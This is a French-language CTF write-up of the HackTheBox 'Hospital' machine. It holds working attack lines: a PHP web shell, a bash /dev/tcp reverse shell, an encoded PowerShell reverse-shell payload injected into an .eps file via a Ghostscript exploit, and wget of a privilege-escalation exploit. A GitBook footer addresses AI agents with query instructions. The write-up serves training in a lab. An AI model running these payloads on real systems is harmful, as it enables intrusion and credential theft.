> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Rédaction HackTheBox Hospital

Rédaction HackTheBox de la machine Windows Hospital de difficulté moyenne couvrant l’énumération Web, l’abus de l’outil p0wny-shell pour les fichiers/téléversements, le cassage d’un mot de passe de hachage protégé, l’injection de commande via le type de fichier .eps, avec pratique

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**Compétences :**

* Énumération Web
* Exploitation abusive des téléversements de fichiers avec l'outil p0wny-shell
* Craquage d'un mot de passe haché protégé
* Injection de commande via fichier de type .eps
* Élévation de privilèges de domaine
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3b8bf92cefb4da1fd17ba75ae834689ab49c45f9%2Fimage%20(1716).png?alt=media" alt=""><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-431e1c66cbcc6a7be38f359b02eb96568aac7ddd%2Fimage%20(1717).png?alt=media" alt=""><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**/ Énumérer les ports ouverts et exporter les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82a16613d9de68c0c100047f9738d12cd4932f72%2Fimage%20(1719).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractport :**/ En utilisant la fonction extractport pour afficher les ports ouverts de façon concise et les copier dans le presse-papiers.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be43716bde4a4787b4a6eaa8681f474031f2524e%2Fimage%20(1720).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des versions de ports avec Nmap :**/ Utiliser Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-48241df9ef95f363e3f1ef5f7197d90f2e0e5bb8%2Fimage%20(1721).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-76d5b7a06942792ae22143c2ebaa5d428ecc5f5a%2Fimage%20(1722).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identification de l'interface du port 443**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6c0dda1049423fd404da8decc44f48e898f7e98%2Fimage%20(1718).png?alt=media" alt=""><figcaption></figcaption></figure>

**Identification de l'interface du port 8080**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd907fdbf0e5c036e78d4a0ac3d457f0efaf6ea0%2Fimage%20(1723).png?alt=media" alt=""><figcaption></figcaption></figure>

**Création d'un utilisateur :**

Création d'un utilisateur pour établir un accès potentiel à la machine cible

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec35ab183f3318cbddb0560b385beb5ca3cdac43%2Fimage%20(1724).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnérabilité de téléversement de fichier :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-61c1801da13673adcb3e2cb0ccc568cbe591eadd%2Fimage%20(1731).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Exploitation initiale :

Tentative d'exploitation d'une vulnérabilité de téléchargement de fichier en insérant un fichier PHP malveillant

```php
<?php
system($_GET['cmd'];
?>
```

Le serveur rejette automatiquement les requêtes de téléversement pour les fichiers avec certaines extensions.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc4687425ee40bc9e454d3a50b96eaeca9eefed4%2Fimage%20(1729).png?alt=media" alt=""><figcaption></figcaption></figure>

**Interception avec Burp Suite :**

Utiliser Burp Suite pour intercepter et analyser le trafic afin de comprendre les erreurs de fonctionnement

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6da7d7910cba561ef5997797fbf02941a08d0582%2Fimage%20(1730).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Modification de l'extension PHP :

Changer l'extension du fichier de `.php` en `.phar` dans le conteneur `nom de fichier` variable, et s'assurer que l'emplacement est bien accepté

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2e7d6341116fbaeae8fea142b5661ad2b0d4eb1a%2Fimage%20(2052).png?alt=media" alt=""><figcaption></figcaption></figure>

**Résumé des répertoires :**

Utiliser Gobuster pour identifier les répertoires sur un serveur web et localiser l'emplacement de stockage des images médicales téléversées.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10dff5480345dabf263fad23fb094deec3b893fe%2Fimage%20(1726).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Fichier non interprété :

Le contenu d'un fichier a.phar n'est pas interprété.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-330d192dac2f6f6886a6b8cffd5e12ce28693afb%2Fimage%20(2053).png?alt=media" alt=""><figcaption></figcaption></figure>

**Utiliser un outil GitHub pour créer un shell :**

Utiliser un outil de projet GitHub pour contourner les restrictions de téléchargement de fichiers PHP et obtenir un accès shell

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f781f00a4ee573fb4a06d7e8da79a531269acb1d%2Fimage%20(2054).png?alt=media" alt=""><figcaption></figcaption></figure>

**Lancement d'un reverse shell :**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

Lancer un reverse shell pour établir un accès interactif à la machine cible et obtenir le contrôle total.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52d9479095b4eba6e62d55e1852029cbc115aead%2Fimage%20(2055).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Une fois que vous avez accès au serveur Linux, voici les commandes à exécuter pour le traitement dans le terminal :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Élévation de privilèges (serveur Linux) :

**Identification de la version du système d'exploitation :**/ Utiliser la `cat /etc/os-release` commande pour vérifier la version du système, noter la présence d'une ancienne version d'Ubuntu (« 23.04 »).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e4fcf11b93b551466ee1f8dff4f75422f8b5b9f%2Fimage%20(1705).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Téléchargement du script d'élévation de privilèges :**

Télécharger le script depuis [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------)qui permet l'élévation de privilèges :

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ab6dcec07a43e9149d884ca82bf31f5f5f5ebcf%2Fimage%20(1706).png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Extraction des mots de passe hachés :** Extraire les mots de passe hachés depuis `/etc/shadow` fichier.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10ecbff1b7e2e4d5040849a650c27fda2921c3a5%2Fimage%20(1707).png?alt=media" alt=""><figcaption></figcaption></figure>

**Craquage de mot de passe :**

Utiliser l'outil John the Ripper avec une liste de mots de passe connue pour casser des mots de passe :

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bd5dcb17d788b13cb51db8a83143777aa88818b%2Fimage%20(1708).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnérabilité : injection de fichier .eps

#### Tester les identifiants sur le site web accessible via le port 443.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b273a5bfca06e73f71782791d84f2ed96cabfe5%2Fimage%20(1709).png?alt=media" alt=""><figcaption></figcaption></figure>

**Boîte mail restreinte découverte :**

Découvrir une boîte e-mail qui souhaite recevoir un design au format .eps.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ad865c9d7ad82954e23d1aaa4012cdcc581e3e%2Fimage%20(1710).png?alt=media" alt=""><figcaption></figcaption></figure>

**Opération Ghostscript via un fichier .eps :**

Utilisez un [Exploit GitHub](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) basé sur [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) pour exécuter du code malveillant via une `.eps` extension de fichier.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90f42a93cc828f43188e082f735e0bf630f60e%2Fimage%20(1659).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Utilisez [RevShells](https://www.revshells.com/) pour créer le payload PowerShell :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-82b3bac7a720f980225ac35dd975d47d620db3f0%2Fimage%20(1658).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Injection du payload dans un fichier .eps :

Utiliser la commande pour injecter le payload avec le reverse shell dans le fichier .eps.

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f2948bcf9bf533cf34d3985613e37b98d8a38046%2Fimage%20(1661).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Écoute avec rlwrap :

Configuration de l'écoute avec rlwrap pour attendre une connexion entrante.

```bash
rlwrap nc -nlvp 4444
```

#### Envoi d'un e-mail avec un fichier EPS malveillant :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e16c0fbab1dcf9c00ba2b847f53d87e7ee8c76ce%2Fimage%20(1662).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e3cc495ddd3291f8bcbc68e3178a4eabc9e1243%2Fimage%20(1663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Découverte d'un fichier ghostscript.bat :

Découverte d'un fichier ghostscript.bat contenant le mot de passe de « drbrown » : `chr!$br0wn`

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d78ce52b7d073c6188dd191af59e5dd5a331908%2Fimage%20(1664).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Premier flag user.txt :

Découverte et récupération du premier flag user.txt.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9ed88abedc25a1203d21c40c06ac7a0f7996d76%2Fimage%20(1665).png?alt=media" alt=""><figcaption></figcaption></figure>

## Élévation de privilèges Active Directory :

#### Élévation de privilèges en passant par le serveur web XAMPP.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca542b0abd592ee486af3441bb0ebdc5f9ba10e6%2Fimage%20(1666).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Création d'un fichier PHP :

Créer un fichier PHP contenant le code « this is a test ».

```bash
echo "this is a test" > test.php
```

#### Vérification du serveur web :

Vérifier que le serveur web insère correctement le fichier PHP.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7553f85192b95da5ca44ffbe88192bda2f68932%2Fimage%20(1667).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Réinjecter le fichier PHP depuis le [p0wny-shell](https://github.com/flozz/p0wny-shell) projet :

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f287d67a45d95626f4d0ea20fa4f99542ade0e38%2Fimage%20(1670).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b678477ce87d6b3168c156c3e0b9973a9ce69bfb%2Fimage%20(1671).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Copier le [shell inversé](https://www.revshells.com/) payload dans le terminal pownyshell :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-39a50fd8797cf16669ffc25d1b0fb74e78e5b117%2Fimage%20(1672).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Écoute avec rlwrap :

```bash
rlwrap nc -nlvp 4444
```

### Flag root.txt obtenue :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5fed32d98c5bdfe717d0e06f6f8c49681eb3090%2Fimage%20(1674).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ff440b03c94bcc24b75e39d9eef0b09f35003548%2Fimage%20(1409).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
